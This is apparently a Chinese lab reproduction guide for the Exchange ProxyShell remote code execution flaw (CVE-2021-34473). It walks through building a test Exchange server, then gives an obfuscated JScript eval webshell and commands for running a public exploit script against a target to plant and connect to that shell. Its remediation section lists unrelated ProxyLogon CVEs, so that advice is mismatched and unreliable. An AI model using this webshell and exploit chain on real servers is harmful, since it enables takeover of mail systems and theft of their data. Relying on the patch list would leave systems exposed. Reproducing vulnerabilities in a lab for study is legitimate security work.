背景:
2021年8月5日,安全研究員在國外安全會議上公開了CVE-2021-34473 Microsoft Exchange Server 遠程代碼執行漏洞分析及其POC。攻擊者利用該漏洞可繞過相關權限驗證,進而配合其他漏洞可執行任意代碼,控制Microsoft Exchange Server。
漏洞編號:
CVE-2021-34473
影響版本:
Microsoft Exchange Server 2010
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019
環境搭建:(內存要8G)
1,安裝AD域控,打開服務器管理器,點擊管理 > 添加角色和功能(Windows Server 2016)
2,選擇Active Directory 域服務 和 DNS服務器
3,打開服務器管理器,將此服務器提升為域控制器
4,設置一個密碼
5,點擊安裝,安裝完成后系統會自動重啟
6,安裝Exchange依賴組件
6.1.NET Framework 4.8
https://download.visualstudio.microsoft.com/download/pr/014120d7-d689-4305-befd-3cb711108212/0fd66638cde16859462a6243a4629a50/ndp48-x86-x64-allos-enu.exe
6.2.安裝Visual C++w Redistributable Package for Visual Studio 2012
https://www.microsoft.com/en-us/download/details.aspx?id=30679
6.3.Visual C++ 2013 Redistributable Package
https://support.microsoft.com/zh-cn/topic/update-for-visual-c-2013-redistributable-package-d8ccd6a5-4e26-c290-517b-8da6cfdf4f10
6.4.通過Power Shell安裝Exchange必備的Windows組件
Install-WindowsFeature Server-Media-Foundation, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS
6.5,然后下載exchange 2016 ios:
https://download.microsoft.com/download/d/2/3/d23b113b-9634-4456-acba-1f7b0ce22b0e/ExchangeServer2016-x64-cu18.iso
7,安裝Exchange右鍵以管理員身份運行
8,選擇不檢查更新
9,選擇郵箱角色
10,禁用惡意軟件掃描
11,根據錯誤提示點擊鏈接修復錯誤(兩個錯誤)
12,安裝完成登錄
復現步驟:
1,生成一個webshell,https://github.com/Ridter/proxyshell_payload ,在proxyshell_payload.py中,修改末尾的webshell變量,將其替換為蟻劍的webshell
更改前:
更改后:
'<%@ Page Language="Jscript" Debug=true%><%var NNVF=\'dFUwlmztVCSLYeHkDMgEZrKWhjQBNsuiGnf0xJPqAcvbIopXyaTR\';var NURV=Request.Form("mima");var FASZ=NNVF(2) + NNVF(28) + NNVF(10) + NNVF(40) + NNVF(1) + NNVF(13);eval(NURV, FASZ);%>'
運行后:
2,下載exp,https://github.com/dmaasland/proxyshell-poc編輯proxyshell_rce.py將上一步Encode webshell執行結果粘貼到314行
3,執行python proxyshell_rce.py -u https://x.x.x.x/ -e administrator@xxx.com(最后這個郵箱必須為目標郵箱管理組的郵箱用戶名,一般administrator都在)執行這步的時候會報錯缺少pypsrp模塊,安裝即可:pip install pypsrp
4,依次執行下面3條命令
① Get-MailboxExportRequest
② Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false
③ dropshell
5,上傳成功后使用蟻劍連接webshell,連接目標為上一步執行完最后得出的shell url地址,密碼為mima
6,勾選忽略HTTPS證書
7,連接成功
漏洞修復:
CVE-2021-26855:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
CVE-2021-26857:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857
CVE-2021-26858:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858
CVE-2021-27065:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065